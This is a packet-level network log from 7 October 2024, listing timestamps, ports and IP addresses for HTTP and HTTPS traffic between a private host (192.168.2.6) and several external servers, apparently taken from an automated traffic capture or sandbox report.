Oct 7, 2024 18:00:30.129167080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129170895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129179955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129198074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129221916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129344940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129355907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129370928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129383087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129388094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129394054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129405975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129412889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129416943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.129443884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.129462004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.368498087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.368530035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.496326923 CEST	443	49714	173.222.162.64	192.168.2.6
Oct 7, 2024 18:00:30.496475935 CEST	49714	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:30.498236895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.498369932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.854775906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:30.854881048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.882411957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:30.887572050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.061281919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.061302900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.061319113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.061443090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.061443090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.064408064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.069916010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.238018990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.238179922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.247749090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.252938986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.462332010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.462389946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.464867115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.470078945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.665064096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:31.665226936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:31.683669090 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:31.689553022 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:31.689650059 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:31.717473030 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:31.723148108 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.293472052 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.293581963 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.293584108 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.293598890 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.293631077 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.293654919 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.293952942 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.293987036 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294003010 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294012070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294028997 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294035912 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294053078 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294060946 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294073105 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294097900 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294650078 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294708014 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.294713020 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.294759989 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.298489094 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.298595905 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.298743963 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.298758984 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.298794985 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.298809052 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379463911 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379530907 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379539967 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379548073 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379575968 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379590988 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379757881 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379790068 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379803896 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379810095 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379831076 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379837990 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379851103 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379862070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.379904032 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.379904032 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380424976 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380445004 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380470037 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380484104 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380553961 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380587101 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380597115 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380624056 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380816936 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380836964 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380861998 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380863905 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380875111 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380887032 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.380897045 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.380923033 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.381742001 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.381757975 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.381788969 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.381792068 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.381813049 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.381853104 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.382529974 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.382549047 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.382594109 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.382647038 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.465761900 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.465775013 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.465785027 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.466000080 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.466530085 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.466542959 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.466553926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.466604948 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.466639042 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.467462063 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.467484951 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.467500925 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.467525959 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.467539072 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.468451023 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.468477964 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.468492985 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.468512058 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.468539000 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.469366074 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.469383955 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.469419956 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.469444036 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.470408916 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.470426083 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.470442057 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.470457077 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.470467091 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.470484018 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.470515966 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.472507000 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.472524881 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.472574949 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.472574949 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.473507881 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.473525047 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.473541021 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.473587990 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.473587990 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.473588943 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.474277973 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.474296093 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.474328995 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.474349022 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.475980043 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476001024 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476018906 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476041079 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.476054907 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.476706028 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476722002 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476737976 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.476763010 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.476789951 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.477845907 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.477907896 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.480756044 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.480773926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.480787992 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.480868101 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.480868101 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.481508017 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.481525898 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.481539965 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.481563091 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.481587887 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.551613092 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551628113 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551642895 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551753044 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.551783085 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551800013 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551815987 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551831961 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551832914 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.551851034 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.551865101 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.551896095 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.553694010 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.553710938 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.553725958 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.553740978 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.553755999 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.553761005 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.553776979 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.553792000 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.554672956 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.554689884 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.554739952 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.555614948 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.555630922 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.555645943 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.555661917 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.555679083 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.555692911 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.556534052 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.556550026 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.556564093 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.556598902 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.556615114 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.556622028 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.556637049 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.556662083 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.556704998 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.557496071 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557511091 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557528973 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557543993 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557558060 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557560921 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.557574987 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557589054 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.557590008 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.557614088 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.557627916 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.558455944 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558473110 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558489084 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558496952 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558511019 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558527946 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558542967 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.558674097 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.559448004 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559464931 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559479952 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559494972 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559509039 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559511900 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.559525013 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.559551954 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.559603930 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.560389042 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560405970 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560420990 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560436010 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560444117 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.560451031 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560467958 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560473919 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.560484886 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.560513020 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.560534000 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.561359882 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.561376095 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.561391115 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.561405897 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.561418056 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.561441898 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.561475992 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.562335014 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562350988 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562366009 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562381029 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562396049 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562400103 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.562411070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562414885 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.562426090 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.562454939 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.562469959 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.563344002 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.563359022 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.563374043 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.563405991 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.563414097 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.563427925 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.563467026 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642318010 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642400026 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642431974 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642450094 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642482042 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642508030 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642714977 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642730951 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642745972 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642760992 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.642761946 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642787933 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.642821074 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.643249989 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643265963 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643280983 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643296003 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643310070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643318892 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.643343925 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.643367052 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.643918991 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643934965 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643949986 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643964052 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643980026 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.643980980 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.643997908 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644013882 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.644037008 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.644844055 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644860029 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644875050 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644890070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644903898 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.644905090 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644922018 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644936085 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.644936085 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.644970894 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.644992113 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.645838022 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645854950 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645870924 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645886898 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645899057 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.645900965 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645921946 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645925999 CEST	49724	80	192.168.2.6	147.45.44.104
